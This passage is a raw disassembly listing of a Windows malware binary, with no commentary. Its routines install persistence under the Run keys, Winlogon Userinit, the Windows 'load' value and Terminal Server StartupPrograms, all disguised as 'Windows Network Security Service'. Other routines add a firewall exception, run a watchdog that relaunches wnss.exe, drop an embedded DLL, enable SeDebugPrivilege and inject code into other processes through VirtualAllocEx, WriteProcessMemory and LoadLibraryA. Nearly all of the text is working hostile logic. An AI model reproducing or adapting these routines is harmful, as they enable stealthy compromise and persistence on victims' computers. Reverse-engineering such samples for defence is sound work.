short loc_4477B0 mov eax, esi jmp short loc_4477B8 ; --------------------------------------------------------------------------- loc_4477B0: ; CODE XREF: sub_44776E+3Cj inc esi dec edi loc_4477B2: ; CODE XREF: sub_44776E+24j cmp edi, ebx jge short loc_447794 xor eax, eax loc_4477B8: ; CODE XREF: sub_44776E+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44776E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4477BF proc near ; CODE XREF: sub_447876+23p ; sub_447925+4Ap ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] cmp edi, 1 jl short loc_4477DA test esi, esi jnz short loc_4477E1 loc_4477DA: ; CODE XREF: sub_4477BF+15j xor eax, eax jmp loc_44786F ; --------------------------------------------------------------------------- loc_4477E1: ; CODE XREF: sub_4477BF+19j lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 test eax, eax jz short loc_447800 xor eax, eax jmp short loc_44786F ; --------------------------------------------------------------------------- loc_447800: ; CODE XREF: sub_4477BF+3Bj push [ebp+arg_4] push offset aRegreadOpenedS ; "RegRead(): opened %s\n" call nullsub_4 pop ecx pop ecx push edi push 0 push esi call sub_4499B1 add esp, 0Ch lea eax, [edi-1] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10] push eax push 0 push ebx push [ebp+var_8] call dword_411E44 mov [ebp+var_C], eax push [ebp+var_8] call dword_411E2C cmp [ebp+var_C], 0 jnz short loc_447860 push esi push ebx push [ebp+var_4] push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n" call nullsub_4 add esp, 10h mov eax, [ebp+var_4] dec eax jmp short loc_44786F ; --------------------------------------------------------------------------- loc_447860: ; CODE XREF: sub_4477BF+87j push ebx push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n" call nullsub_4 pop ecx pop ecx xor eax, eax loc_44786F: ; CODE XREF: sub_4477BF+1Dj ; sub_4477BF+3Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4477BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447876 proc near ; CODE XREF: sub_447925+23p ; sub_4479BB+24p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2000h call sub_449B11 push ebx push 2000h lea eax, [ebp+var_2000] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4477BF add esp, 14h mov ebx, eax test eax, eax jz short loc_4478C3 push [ebp+arg_C] lea eax, [ebp+var_2000] push eax call sub_44776E pop ecx pop ecx test eax, eax jz short loc_4478C1 xor eax, eax inc eax jmp short loc_4478C3 ; --------------------------------------------------------------------------- loc_4478C1: ; CODE XREF: sub_447876+44j xor eax, eax loc_4478C3: ; CODE XREF: sub_447876+2Fj ; sub_447876+49j pop ebx mov esp, ebp pop ebp retn sub_447876 endp ; =============== S U B R O U T I N E ======================================= sub_4478C8 proc near ; CODE XREF: sub_447B54+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, [esp+0Ch+arg_8] mov edi, [esp+0Ch+arg_C] test edi, edi jz short loc_4478E1 mov byte ptr [ebx], 22h inc ebx jmp short loc_4478E4 ; --------------------------------------------------------------------------- loc_4478E1: ; CODE XREF: sub_4478C8+11j mov byte ptr [ebx], 0 loc_4478E4: ; CODE XREF: sub_4478C8+17j push [esp+0Ch+arg_4] push ebx call sub_449A51 pop ecx pop ecx push [esp+0Ch+arg_4] call sub_449A31 pop ecx add ebx, eax test edi, edi jz short loc_447904 mov byte ptr [ebx], 22h inc ebx loc_447904: ; CODE XREF: sub_4478C8+36j test esi, esi jz short loc_44791E mov byte ptr [ebx], 20h inc ebx push esi push ebx call sub_449A51 pop ecx pop ecx push esi call sub_449A31 pop ecx add ebx, eax loc_44791E: ; CODE XREF: sub_4478C8+3Ej mov byte ptr [ebx], 0 pop edi pop esi pop ebx retn sub_4478C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447925 proc near ; CODE XREF: sub_447B54+78p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_449B11 push ebx push dword_4128A4 push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_447876 add esp, 10h test eax, eax jnz short loc_4479B6 push 2000h lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_4477BF add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_447984 mov [ebp+var_2000], 0 loc_447984: ; CODE XREF: sub_447925+56j push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_447718 add esp, 10h loc_4479B6: ; CODE XREF: sub_447925+2Dj pop ebx mov esp, ebp pop ebp retn sub_447925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4479BB proc near ; CODE XREF: sub_447B54+7Dp var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_449B11 push ebx push esi push dword_4128A4 push offset aUserinit ; "Userinit" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_447876 add esp, 10h test eax, eax jnz loc_447A8D push 2000h lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4477BF add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_447A1F mov [ebp+var_2000], 0 loc_447A1F: ; CODE XREF: sub_4479BB+5Bj cmp [ebp+var_2000], 0 jz short loc_447A44 lea esi, [ebp+var_2000] jmp short loc_447A31 ; --------------------------------------------------------------------------- loc_447A30: ; CODE XREF: sub_4479BB+79j inc esi loc_447A31: ; CODE XREF: sub_4479BB+73j cmp byte ptr [esi], 0 jnz short loc_447A30 dec esi cmp byte ptr [esi], 2Ch jz short loc_447A44 inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_447A44: ; CODE XREF: sub_4479BB+6Bj ; sub_4479BB+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx test ebx, ebx jnz short loc_447A6F push offset asc_40E73C ; "," lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx loc_447A6F: ; CODE XREF: sub_4479BB+9Fj lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_447718 add esp, 10h loc_447A8D: ; CODE XREF: sub_4479BB+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_4479BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447A93 proc near ; CODE XREF: sub_447B54+82p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_449B11 push ebx push esi push dword_4128A4 push offset aLoad ; "load" push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_447876 add esp, 10h test eax, eax jnz loc_447B4E push 2000h lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4477BF add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_447AF7 mov [ebp+var_2000], 0 loc_447AF7: ; CODE XREF: sub_447A93+5Bj cmp [ebp+var_2000], 0 jz short loc_447B1C lea esi, [ebp+var_2000] jmp short loc_447B09 ; --------------------------------------------------------------------------- loc_447B08: ; CODE XREF: sub_447A93+79j inc esi loc_447B09: ; CODE XREF: sub_447A93+73j cmp byte ptr [esi], 0 jnz short loc_447B08 dec esi cmp byte ptr [esi], 2Ch jz short loc_447B1C inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_447B1C: ; CODE XREF: sub_447A93+6Bj ; sub_447A93+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_447718 add esp, 10h loc_447B4E: ; CODE XREF: sub_447A93+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_447A93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447B54 proc near ; CODE XREF: sub_448AD1+557p var_2000 = byte ptr -2000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_449B11 push 1 push offset asc_40E700 ; "*" push [ebp+arg_0] lea eax, [ebp+var_2000] push eax call sub_4478C8 add esp, 10h push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n" call nullsub_4 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Security Service" push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_447718 add esp, 10h push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n" call nullsub_4 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Security Service" push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_447718 add esp, 10h call sub_447925 call sub_4479BB call sub_447A93 mov esp, ebp pop ebp retn sub_447B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447BDF proc near ; CODE XREF: sub_448AD1+236p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_449B11 mov [ebp+var_2000], 0 push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Security Service" lea eax, [ebp+var_2000] push eax call sub_449A71 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push dword_4128A4 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_447718 add esp, 10h mov esp, ebp pop ebp retn sub_447BDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_447C50 proc near ; CODE XREF: DMN1:00447E6Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 14h push 40h call dword_411CE0 mov [ebp+var_10], eax push 1 push [ebp+var_10] call dword_411E38 push 0 push 0 push 1 push [ebp+var_10] call dword_411E3C mov [ebp+var_C], 0Ch mov eax, [ebp+var_10] mov [ebp+var_8], eax mov [ebp+var_4], 1 push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}" push 0 push 0 lea eax, [ebp+var_C] push eax call dword_411D40 mov ebx, eax test ebx, ebx jz short loc_447CBA push offset aEventCreated_ ; "EVENT CREATED.\n" call sub_449641 pop ecx jmp short loc_447CCD ; --------------------------------------------------------------------------- loc_447CBA: ; CODE XREF: sub_447C50+5Bj call dword_411CE8 push eax push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n" call sub_449641 pop ecx pop ecx loc_447CCD: ; CODE XREF: sub_447C50+68j push 0 push 0 push offset sub_405CA2 call sub_449CF1 add esp, 0Ch push eax call dword_411CF8 push 0 push 0 push offset sub_406736 call sub_449CF1 add esp, 0Ch mov esi, eax loc_447CF8: ; CODE XREF: sub_447C50:loc_447D47j test ebx, ebx jz short loc_447D32 push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n" call sub_449641 pop ecx mov [ebp+var_18], esi mov [ebp+var_14], ebx push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push 2 call dword_411D48 mov edi, eax test edi, edi jz short loc_447D28 cmp edi, 1 jnz short loc_447D47 loc_447D28: ; CODE XREF: sub_447C50+D1j push 1 call sub_449DC1 pop ecx jmp short loc_447D47 ; --------------------------------------------------------------------------- loc_447D32: ; CODE XREF: sub_447C50+AAj push 0FFFFFFFFh push esi call dword_411D34 test eax, eax jnz short loc_447D47 push 1 call sub_449DC1 pop ecx loc_447D47: ; CODE XREF: sub_447C50+D6j ; sub_447C50+E0j ... jmp short loc_447CF8 sub_447C50 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, [esp+4] cmp eax, 3 jz short loc_447D65 cmp eax, 4 jz short loc_447D82 cmp eax, 5 jz short loc_447D95 jmp short locret_447DB8 ; --------------------------------------------------------------------------- loc_447D65: ; CODE XREF: DMN1:00447D57j mov dword_41293C, 4 push offset dword_412938 push dword_412954 call dword_411E6C jmp short locret_447DB8 ; --------------------------------------------------------------------------- loc_447D82: ; CODE XREF: DMN1:00447D5Cj push offset dword_412938 push dword_412954 call dword_411E6C jmp short locret_447DB8 ; --------------------------------------------------------------------------- loc_447D95: ; CODE XREF: DMN1:00447D61j mov dword_41293C, 1 push offset dword_412938 push dword_412954 call dword_411E6C push 1 call sub_449DC1 pop ecx locret_447DB8: ; CODE XREF: DMN1:00447D63j ; DMN1:00447D80j ... retn 4 ; --------------------------------------------------------------------------- push offset aServicectrldis ; "ServiceCtrlDispatcher()\n" call sub_449641 pop ecx push offset loc_405A2F push off_412958 call dword_411E70 mov dword_412954, eax cmp dword_412954, 0 jz loc_447E9B push 1 push offset dword_411044 call dword_411D04 push 1Ch push 0 push offset dword_412938 call sub_4499B1 add esp, 0Ch mov dword_412938, 110h mov dword_41293C, 2 and dword_412940, 0 mov dword_412950, 9C4h push offset aSetservicestat ; "SetServiceStatus(): start pending\n" call sub_449641 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C mov dword_41293C, 4 push offset aSetservicest_0 ; "SetServiceStatus(): running\n" call sub_449641 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C call sub_447C50 ; --------------------------------------------------------------------------- mov dword_41293C, 1 push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n" call sub_449641 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C jmp short locret_447EA6 ; --------------------------------------------------------------------------- loc_447E9B: ; CODE XREF: DMN1:00447DE3j push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("... call sub_449641 pop ecx locret_447EA6: ; CODE XREF: DMN1:00447E99j retn 8 ; =============== S U B R O U T I N E ======================================= sub_447EA9 proc near ; CODE XREF: DMN1:00447EEFp ; sub_448AD1+532p push ebx call sub_44642F test eax, eax jz short loc_447EB7 xor eax, eax jmp short loc_447EED ; --------------------------------------------------------------------------- loc_447EB7: ; CODE XREF: sub_447EA9+8j mov eax, off_412958 mov dword_41295C, eax mov dword_412960, offset loc_405A9A and dword_412964, 0 and dword_412968, 0 push offset dword_41295C call dword_411E74 mov ebx, eax call sub_446483 mov eax, ebx loc_447EED: ; CODE XREF: sub_447EA9+Cj pop ebx retn sub_447EA9 endp ; --------------------------------------------------------------------------- call sub_447EA9 call sub_449D81 retn ; --------------------------------------------------------------------------- call sub_447236 mov dword_411040, eax call sub_449D81 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447F0A proc near ; CODE XREF: DMN1:00448027p ; sub_448AD1+1F7p var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 854h push 44h push 0 lea eax, [ebp+var_44] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_44], 44h push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_844] push eax call sub_449A51 pop ecx pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx push offset asc_40E5AE ; "\" " lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_447F7A push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx loc_447F7A: ; CODE XREF: sub_447F0A+5Dj lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 test eax, eax jz short loc_447FBF push [ebp+var_850] call dword_411CF8 push [ebp+var_854] call dword_411CF8 xor eax, eax inc eax loc_447FBF: ; CODE XREF: sub_447F0A+98j mov esp, ebp pop ebp retn sub_447F0A endp ; --------------------------------------------------------------------------- push ebx push esi push offset aServicefixerth ; "ServiceFixerThread started.\n" call nullsub_4 pop ecx loc_447FD0: ; CODE XREF: DMN1:loc_448058j xor ebx, ebx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call dword_411D4C cmp eax, 0FFFFFFFFh jz short loc_44804D call sub_447098 test eax, eax jz short loc_44800C call sub_447491 test eax, eax jnz short loc_447FFB call sub_447567 loc_447FFB: ; CODE XREF: DMN1:00447FF4j call sub_4471E8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_448019 xor ebx, ebx inc ebx jmp short loc_448019 ; --------------------------------------------------------------------------- loc_44800C: ; CODE XREF: DMN1:00447FEBj call sub_44730A cmp eax, 0FFFFFFFFh jnz short loc_448019 xor ebx, ebx inc ebx loc_448019: ; CODE XREF: DMN1:00448005j ; DMN1:0044800Aj ... test ebx, ebx jz short loc_448040 call sub_446483 push offset asc_40E58E ; "**" call sub_447F0A pop ecx test eax, eax jz short loc_448039 push 0 call sub_449DC1 pop ecx loc_448039: ; CODE XREF: DMN1:0044802Fj call sub_44642F jmp short loc_448058 ; --------------------------------------------------------------------------- loc_448040: ; CODE XREF: DMN1:0044801Bj push 1F4h call dword_411D00 jmp short loc_448058 ; --------------------------------------------------------------------------- loc_44804D: ; CODE XREF: DMN1:00447FE2j push 2710h call dword_411D00 loc_448058: ; CODE XREF: DMN1:0044803Ej ; DMN1:0044804Bj jmp loc_447FD0 ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push esi mov eax, [ebp+8] mov esi, eax push dword_41296C call dword_411D50 loc_448077: ; CODE XREF: DMN1:004480ABj mov byte ptr [ebp-1], 0 push 1 lea eax, [ebp-1] push eax push esi call sub_4439FD add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_4480AD cmp byte ptr [ebp-1], 2Ah jnz short loc_4480AD push 1 lea eax, [ebp-1] push eax push esi call sub_443AA8 add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_4480AD jmp short loc_448077 ; --------------------------------------------------------------------------- loc_4480AD: ; CODE XREF: DMN1:0044808Ej ; DMN1:00448094j ... push esi call sub_4437E3 pop ecx push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n" call nullsub_4 pop ecx push dword_41296C call dword_411D44 call sub_449D81 pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 call sub_44367A mov dword_41104C, eax push offset aDlltestlistent ; "DLLTestListenThread: binding...\n" call nullsub_4 pop ecx push 0BB8h push 100007Fh push dword_41104C call sub_4438D8 add esp, 0Ch test eax, eax jz short loc_448176 push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n" call nullsub_4 pop ecx push dword_41104C call sub_443928 pop ecx test eax, eax jz short loc_448176 push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n" call nullsub_4 pop ecx push dword_41104C call sub_443942 pop ecx mov [ebp-4], eax test eax, eax jz short loc_448176 mov eax, [ebp-4] push eax push 0 push offset sub_405D3F call sub_449CF1 add esp, 0Ch mov [ebp-8], eax push eax call dword_411CF8 push dword_41104C call sub_4437E3 pop ecx and dword_41104C, 0 loc_448176: ; CODE XREF: DMN1:0044810Bj ; DMN1:00448126j ... cmp dword_41104C, 0 jz short loc_44818B push dword_41104C call sub_4437E3 pop ecx loc_44818B: ; CODE XREF: DMN1:0044817Dj push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n" call nullsub_4 pop ecx call sub_449D81 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_44819F proc near ; CODE XREF: sub_44875D+14p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_4481B1 ; --------------------------------------------------------------------------- loc_4481A9: ; CODE XREF: sub_44819F+14j call dword_411CC4 mov esi, eax loc_4481B1: ; CODE XREF: sub_44819F+8j test esi, esi jz short loc_4481A9 mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_44819F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4481D3 proc near ; CODE XREF: sub_4482DE+9Ep ; sub_4482DE+109p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_411054, 0 jz short loc_4481FB push dword_411054 call dword_411CF8 and dword_411054, 0 loc_4481FB: ; CODE XREF: sub_4481D3+13j push 0Ah push offset a8001 ; "#8001" push 0 call dword_411D54 mov esi, eax test eax, eax jz loc_4482D7 push esi push 0 call dword_411D58 mov [ebp+var_4], eax push [ebp+var_4] push offset aResourceHereSi ; "resource here, size: %i\n" call nullsub_4 pop ecx pop ecx push esi push 0 call dword_411D5C mov [ebp+var_8], eax test eax, eax jz loc_4482D7 push [ebp+var_8] call dword_411D60 mov [ebp+var_C], eax test eax, eax jz loc_4482D7 push 80h push ebx call dword_411D28 push offset aWb ; "wb+" push ebx call sub_4496E1 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_448287 push ebx push offset aFileSNotCreate ; "file <%s> NOT created\n" call nullsub_4 pop ecx pop ecx xor eax, eax jmp short loc_4482D7 ; --------------------------------------------------------------------------- loc_448287: ; CODE XREF: sub_4481D3+A1j push ebx push offset aFileSCreated ; "file <%s> created\n" call nullsub_4 pop ecx pop ecx push edi push 1 mov eax, [ebp+var_4] push eax push [ebp+var_C] call sub_449B41 add esp, 10h mov [ebp+var_10], eax push edi call sub_449941 pop ecx push [ebp+var_10] push ebx push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n" call nullsub_4 add esp, 0Ch push 7 push ebx call dword_411D28 cmp [ebp+var_10], 1 jz short loc_4482D4 xor eax, eax jmp short loc_4482D7 ; --------------------------------------------------------------------------- loc_4482D4: ; CODE XREF: sub_4481D3+FBj xor eax, eax inc eax loc_4482D7: ; CODE XREF: sub_4481D3+3Bj ; sub_4481D3+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4481D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4482DE proc near ; CODE XREF: DMN1:loc_448931p var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h push ebp mov ebp, esp mov eax, 1004h call sub_449B11 cmp dword_411050, 0 jz short loc_448334 push offset aR ; "r" push offset dword_412970 call sub_4496E1 pop ecx pop ecx mov [ebp+var_1004], eax test eax, eax jz short loc_448334 push offset dword_412970 push offset aOldDllS ; "old DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push [ebp+var_1004] call sub_449941 pop ecx xor eax, eax inc eax jmp loc_44841E ; --------------------------------------------------------------------------- loc_448334: ; CODE XREF: sub_4482DE+14j ; sub_4482DE+2Fj push offset dword_412970 push 0FFFh call dword_411D1C push offset aWnss_ ; "wnss_" push offset dword_412970 call sub_449A71 pop ecx pop ecx push offset a000_tmp ; "000.tmp" push offset dword_412970 call sub_449A71 pop ecx pop ecx push offset dword_412970 push offset aCheckingDllS ; "checking DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push offset dword_412970 call sub_4481D3 pop ecx test eax, eax jz short loc_4483A6 push offset dword_412970 push offset aDllFoundS ; " DLL found: <%s>\n" call nullsub_4 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_44841E ; --------------------------------------------------------------------------- loc_4483A6: ; CODE XREF: sub_4482DE+A6j lea eax, [ebp+var_1000] push eax push 0FFFh call dword_411D1C push offset dword_412970 push 0 push offset aWnss_ ; "wnss_" lea eax, [ebp+var_1000] push eax call dword_411D20 push offset dword_412970 push offset aTryingDllS ; "trying DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push offset dword_412970 call sub_4481D3 pop ecx test eax, eax jz short loc_448411 push offset dword_412970 push offset aDllOkS ; "DLL ok: <%s>\n" call nullsub_4 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_44841E ; --------------------------------------------------------------------------- loc_448411: ; CODE XREF: sub_4482DE+111j push offset aDllNotExtracte ; "DLL not extracted.\n" call nullsub_4 pop ecx xor eax, eax loc_44841E: ; CODE XREF: sub_4482DE+51j ; sub_4482DE+C6j ... mov esp, ebp pop ebp retn sub_4482DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448422 proc near ; CODE XREF: sub_4485C6+6p ; sub_44868E+12p ... var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_1C] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_411E78 test eax, eax jz short loc_448498 call dword_411D64 lea edx, [ebp+var_14] push edx push 28h push eax call dword_411E7C test eax, eax jz short loc_448498 mov [ebp+var_10], 1 mov eax, [ebp+var_1C] mov edx, [ebp+var_18] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], 2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+var_14] call dword_411E80 call dword_411CE8 test eax, eax jz short loc_448495 xor eax, eax jmp short loc_448498 ; --------------------------------------------------------------------------- loc_448495: ; CODE XREF: sub_448422+6Dj xor eax, eax inc eax loc_448498: ; CODE XREF: sub_448422+19j ; sub_448422+30j ... mov esp, ebp pop ebp retn sub_448422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44849C proc near ; CODE XREF: sub_4485C6+34p var_1008 = byte ptr -1008h var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_449B11 push ebx push esi push edi push 40h push 1000h push 1000h push 0 push [ebp+arg_0] call dword_411D68 mov esi, eax test eax, eax jz loc_4485BF push offset aVirtualallocex ; "VirtualAllocEx() ok\n" call nullsub_4 pop ecx lea ebx, [ebp+var_1000] mov byte ptr [ebx], 68h inc ebx mov eax, esi add eax, 50h mov [ebx], eax add ebx, 4 mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 40h mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 50h inc ebx mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 44h mov [ebx], eax push offset aKernel32_dll ; "kernel32.dll" call dword_411D6C mov edi, eax lea ebx, [ebp+var_1000] add ebx, 40h push offset aLoadlibrarya ; "LoadLibraryA" push edi call dword_411D70 mov [ebx], eax add ebx, 4 push offset aExitthread ; "ExitThread" push edi call dword_411D70 mov [ebx], eax add ebx, 4 push offset aGetlasterror ; "GetLastError" push edi call dword_411D70 mov [ebx], eax lea ebx, [ebp+var_1000] add ebx, 50h push [ebp+arg_4] push ebx call sub_449A51 pop ecx pop ecx lea eax, [ebp+var_1004] push eax push 1000h lea eax, [ebp+var_1000] push eax push esi push [ebp+arg_0] call dword_411D74 test eax, eax jz short loc_4485BF push offset aWriteprocessme ; "WriteProcessMemory() ok\n" call nullsub_4 pop ecx push [ebp+arg_4] push offset aS ; "<%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp+var_1008] push eax push 0 push 0 push esi push 0 push 0 push [ebp+arg_0] call dword_411D78 loc_4485BF: ; CODE XREF: sub_44849C+2Bj ; sub_44849C+EEj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44849C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4485C6 proc near ; CODE XREF: sub_44868E+6Fp ; sub_44875D+5Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi call sub_448422 push [ebp+arg_0] push 0 push 1F0FFFh call 